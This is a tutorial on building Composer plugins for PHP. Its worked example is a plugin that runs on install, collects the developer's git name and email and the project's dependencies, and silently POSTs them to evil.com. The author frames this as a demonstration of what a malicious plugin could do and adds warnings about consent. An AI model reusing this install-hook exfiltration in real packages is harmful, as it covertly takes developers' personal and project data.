Drunk with the Power of Composer Plugins
Composer is the sharpest tool in the toolbox of the modern PHP developer. The days of manual dependency management are in the distant past, and in their place we have wonderful things like Semver. Things that help us sleep at night, because we can update our dependencies without smashing rocks together.
Even though we use Composer so frequently, there’s not a lot of shared knowledge about how to extend it. It’s as if it does such a good job in its default state, that extending it isn’t worth the time or effort to do or document. Even the official docs skirt around the issue. Probably because nobody is asking for it…
Yet, recent changes have made it much easier to develop Composer plugins. Composer has also recently moved from alpha to beta, in perhaps the most conservative release cycle ever conceived. This thing that makes modern PHP possible in its current form. This cornerstone of professional PHP development. Just moved from alpha to beta.
So, today I thought we would explore the possibilities of Composer plugin development, and create a fresh bit of documentation as we go.
You can find the code for this plugin at github.com/assertchris-tutorials/tutorial-composer-plugins.
Getting Started
To begin, we need to create a plugin repository, separate from the application we’ll use it with. Plugins are installed like any regular dependency. Let’s create a new folder with a composer.json
file:
{
"type": "composer-plugin",
"name": "sitepoint/plugin",
"require": {
"composer-plugin-api": "^1.0"
}
}
All of these things are important! We give this plugin a type of composer-plugin
or it will never be treated as such. composer-plugin
dependencies are privy to hooks in the Composer lifecycle, which we’ll tap into.
We name the plugin, so our app can require it as a dependency. You can use whatever you like here, but you’ll need to remember the name for later.
We also need to require the composer-plugin-api
. The version here is important, because our plugin will be treated as being compatible with a specific version of the plugin API, which may affect things like method signatures.
Next, we need to autoload a plugin class, and tell Composer what it is called:
"autoload": {
"psr-4": {
"SitePoint\\": "src"
}
},
"extra": {
"class": "SitePoint\\Plugin"
}
We’ll create a src
folder, with a Plugin.php
file. That’s the file Composer is going to load (as the first hook in the Composer lifecycle):
namespace SitePoint;
use Composer\Composer;
use Composer\IO\IOInterface;
use Composer\Plugin\PluginInterface;
class Plugin implements PluginInterface
{
public function activate(Composer $composer, IOInterface $io)
{
print "hello world";
}
}
PluginInterface
requires a public activate
method, which is called when the plugin is loaded. It’s a good time to verify that the plugin code is working thus far. Now we have to create the app folder, with a composer.json
file of its own:
{
"name": "sitepoint/app",
"require": {
"sitepoint/plugin": "*"
},
"repositories": [
{
"type": "path",
"url": "../sitepoint-plugin"
}
],
"minimum-stability": "dev",
"prefer-stable": true
}
This one is significantly easier than before, and more likely to resemble how people will use your plugin. The best thing would be to release stable versions of your plugin through Packagist, but while you’re developing, this is ok. It tells Composer to require any available version of sitepoint/plugin
, and where to source that dependency from.
Path repositories are a relatively recent addition to Composer, and they automatically manage symlinking of dependencies so you don’t have to. Since we’re requiring an unstable dependency, we tell Composer to drop the minimum stability to dev
.
In situations like this, it’s a good idea to also prefer stable dependencies where possible…
You should now be able to run composer install
from your app folder, and see the hello world
message! All without putting any code on Github or Packagist.
I recommend running rm -rf vendor composer.lock; composer install
during development, as it will reset the application and/or plugin state regularly. Especially when you start messing with installation folders!
Exploring Plugin Capabilities
It’s also a good idea to require composer/composer
, as this will download the interfaces and classes we’re about to work with into the vendor folder.
Most of what you’ll learn about plugins, you can find just by looking through the Composer source code. Alternatively, you can “inspect” the two instances provided to your plugin’s activate
method. It also helps if you’re using an IDE like PHPStorm, so you can jump to definitions easily.
For instance, we can inspect $composer->getPackage()
to see what’s in the root composer.json
file. We can use $io->ask("...")
to ask questions during the installation process.
Putting These to Use
Let’s build something practical, though perhaps a little diabolical. Let’s make our plugin track users and the dependencies they require. We begin by finding their Git username and email:
public function activate(Composer $composer, IOInterface $io)
{
exec("git config --global user.name", $name);
exec("git config --global user.email", $email);
$payload = [];
if (count($name) > 0) {
$payload["name"] = $name[0];
}
if (count($email) > 0) {
$payload["email"] = $email[0];
}
}
Git user names and email addresses are usually stored in global config, which means running git config --global user.name
from terminal will return them. We can take that a step further, by running them through exec
, and inspecting the results.
Next, let’s track the name of the application (if one is defined) as well as the dependencies and their versions. We can do the same for the development dependencies, so let’s create a method for both:
private function addDependencies($type, array $dependencies, array $payload)
{
$payload = array_slice($payload, 0);
if (count($dependencies) > 0) {
$payload[$type] = [];
}
foreach ($dependencies as $dependency) {
$name = $dependency->getTarget();
$version = $dependency->getPrettyConstraint();
$payload[$type][$name] = $version;
}
return $payload;
}
We get the name and version constraint for each dependency, and add them to the $payload
array. Calling array_slice
on the payload array ensures no side-effects for this method, so it can be called any number of times with exactly the same results.
This is often referred to as a pure function, or an example of immutable variable usage.
Then we call this method with the dependency arrays:
public function activate(Composer $composer, IOInterface $io)
{
// ...get user details
$app = $composer->getPackage()->getName();
if ($app) {
$payload["app"] = $app;
}
$payload = $this->addDependencies(
"requires",
$composer->getPackage()->getRequires(),
$payload
);
$payload = $this->addDependencies(
"dev-requires",
$composer->getPackage()->getDevRequires(),
$payload
);
}
Finally, we can send this data somewhere:
public function activate(Composer $composer, IOInterface $io)
{
// ...get user details
// ...get project details
$context = stream_context_create([
"http" => [
"method" => "POST",
"timeout" => 0.5,
"content" => http_build_query($payload),
],
]);
@file_get_contents("https://evil.com", false, $context);
}
We could use Guzzle for this, but file_get_contents
works just as well. We send a POST
request to https://evil.com
, with a serialized payload.
Be Good
I don’t want this to seem like a recommendation for covert user data gathering. But perhaps it’s useful to know just how much data someone could gather, just by requiring a well-crafted Composer plugin.
You could use the composer install --no-plugins
option, but many frameworks and content management systems depend on plugins to set themselves up correctly.
A few additional warnings:
- If you’re going to use
exec
, filter and validate any data that isn’t hard-coded. Otherwise you’re creating attack vectors for your code. - If you’re sending data anywhere, send it over HTTPS. Otherwise other malicious people can reap the benefits of your malicious data gathering.
- Don’t track user data without consent. It’s possible to ask before you take the data, so do that every time! Something like
IOInterface::ask("...")
is just what you need…
Did this article help you? Perhaps you’ve got an idea for a plugin; like a custom installer plugin or a plugin that downloads offline documentation for popular projects. Let us know in the comments below…